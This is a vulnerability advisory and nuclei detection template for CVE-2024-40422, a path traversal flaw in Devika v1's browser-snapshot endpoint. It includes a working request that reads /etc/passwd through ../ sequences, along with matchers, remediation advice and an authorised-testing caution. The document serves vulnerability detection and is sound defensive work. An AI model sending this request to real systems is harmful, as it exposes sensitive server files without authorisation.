Devika v1 - Path Traversal

criticalseverity

9.1CVSS score

11.4%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

The snapshot_path parameter in the /api/get-browser-snapshot endpoint in stitionai devika v1 is susceptible to a path traversal attack. An attacker can manipulate the snapshot_path parameter to traverse directories and access sensitive files on the server. This can potentially lead to unauthorized access to critical system files and compromise the confidentiality and integrity of the system.

Impact

Unauthenticated attackers can exploit path traversal to access sensitive files on the server.

Fix

Update Devika to a version later than v1 that patches the path traversal vulnerability.

How to confirm it

Send: GET /api/data
Positive when: contains_all(body,"models","projects","OPENAI","OLLAMA") and contains(content_type,"application/json") and status_code == 200
Send: GET /api/get-browser-snapshot?snapshot_path=../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains in header "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2024-40422 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-40422

info:
  name: Devika v1 - Path Traversal
  author: s4e-io,alpernae
  severity: critical
  description: |
    The snapshot_path parameter in the /api/get-browser-snapshot endpoint in stitionai devika v1 is susceptible to a path traversal attack. An attacker can manipulate the snapshot_path parameter to traverse directories and access sensitive files on the server. This can potentially lead to unauthorized access to critical system files and compromise the confidentiality and integrity of the system.
  impact: |
    Unauthenticated attackers can exploit path traversal to access sensitive files on the server.
  remediation: |
    Update Devika to a version later than v1 that patches the path traversal vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-40422
    - https://cvefeed.io/vuln/detail/CVE-2024-40422
    - https://github.com/alpernae/CVE-2024-40422
    - https://github.com/stitionai/devika
    - https://www.exploit-db.com/exploits/52066
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-40422
    cwe-id: CWE-22
    epss-score: 0.11414
    epss-percentile: 0.96034
    cpe: cpe:2.3:a:stitionai:devika:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: stitionai
    product: devika
    fofa-query: icon_hash="-1429839495"
  tags: cve,cve2024,devika,lfi,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/data HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"models","projects","OPENAI","OLLAMA")'
          - 'contains(content_type,"application/json")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /api/get-browser-snapshot?snapshot_path=../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from